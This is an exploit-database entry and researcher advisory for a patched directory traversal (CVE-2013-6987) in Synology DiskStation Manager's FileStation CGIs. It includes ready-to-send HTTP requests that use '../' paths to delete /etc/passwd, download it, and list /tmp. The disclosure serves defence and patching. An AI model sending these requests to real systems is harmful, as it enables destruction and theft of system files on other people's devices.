Synology DSM multiple directory traversal

vendor:

DiskStation Manager

by:

Andrea Fabrizi

7,5

CVSS

HIGH

Directory Traversal

CWE

Product Name: DiskStation Manager

Affected Version From: <= 4.3-3810

Affected Version To: <= 4.3-3810

Patch Exists: YES

Related CWE: 2013-6987

CPE: o:synology:diskstation_manager

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2013

Synology DSM multiple directory traversal

Synology DiskStation Manager (DSM) is a Linux based operating system, used for the DiskStation and RackStation products. A directory traversal vulnerability was discovered in the FileBrowser components, which allows any authenticated user to access, create, delete, and modify system and configuration files. The only countermeasure implemented against this vulnerability is the check that the path starts with a valid shared folder, which can be bypassed by putting the '../' straight after. Vulnerable CGIs include /webapi/FileStation/html5_upload.cgi, /webapi/FileStation/file_delete.cgi, /webapi/FileStation/file_download.cgi, /webapi/FileStation/file_sharing.cgi, /webapi/FileStation/file_share.cgi, /webapi/FileStation/file_MVCP.cgi, and /webapi/FileStation/file_rename.cgi.

Mitigation:

Ensure that the path starts with a valid shared folder and that the '../' is not used.

Source

Exploit-DB raw data:

**************************************************************
Title: Synology DSM multiple directory traversal
Version affected: <= 4.3-3810
Vendor: Synology
Discovered by: Andrea Fabrizi
Email: andrea.fabrizi@gmail.com
Web: http://www.andreafabrizi.it
Twitter: @andreaf83
Status: patched
CVE: 2013-6987
**************************************************************

I'm again here with a Synology DSM vulnerability.

Synology DiskStation Manager (DSM) it's a Linux based operating
system, used for the DiskStation and RackStation products.

I found a lot of directory traversal in the FileBrowser components.
This kind of vulnerability allows any authenticated user, even if not
administrative, to access, create, delete, modify system and
configuration files.

The only countermeasure implemented against this vulnerability is the
check that the path starts with a valid shared folder, so is enough to
put the "../" straight after, to bypass the security check.

Vulnerables CGIs:
- /webapi/FileStation/html5_upload.cgi
- /webapi/FileStation/file_delete.cgi
- /webapi/FileStation/file_download.cgi
- /webapi/FileStation/file_sharing.cgi
- /webapi/FileStation/file_share.cgi
- /webapi/FileStation/file_MVCP.cgi
- /webapi/FileStation/file_rename.cgi

Not tested all the CGI, but I guess that many others are vulnerable,
so don't take my list as comprehensive.

Following some examples ("test" is a valid folder name):

- Delete /etc/passwd
===========================================
POST /webapi/FileStation/file_delete.cgi HTTP/1.1
Host: 192.168.56.101:5000
X-SYNO-TOKEN: XXXXXXXX
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 103
Cookie: stay_login=0; id=kjuYI0HvD92m6
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

path=/test/../../etc/passwd&accurate_progress=true&api=SYNO.FileStation.Delete&method=start&version=1
===========================================

- Arbitrary file download:
===========================================
GET /fbdownload/?dlink=2f746573742f2e2e2f2e2e2f6574632f706173737764 HTTP/1.1
Host: 192.168.56.101:5000
Connection: keep-alive
Authorization: Basic XXXXXXXX
===========================================

2f746573742f2e2e2f2e2e2f6574632f706173737764 -> /test/../../etc/passwd

- Remote file list:
=========================
POST /webapi/FileStation/file_share.cgi HTTP/1.1
Host: 192.168.56.101:5000
X-SYNO-TOKEN: XXXXXXXX
Content-Length: 75
Cookie: stay_login=0; id=f9EThJSyRaqJM; BCSI-CS-36db57a1c38ce2f6=2

folder_path=/test/../../tmp&api=SYNO.FileStation.List&method=list&version=1
==========================

Timeline:
- 05/12/2013: First contact with the vendor
- 06/12/2013: Vulnerability details sent to the vendor
- 20/12/2013: Patch released by the vendor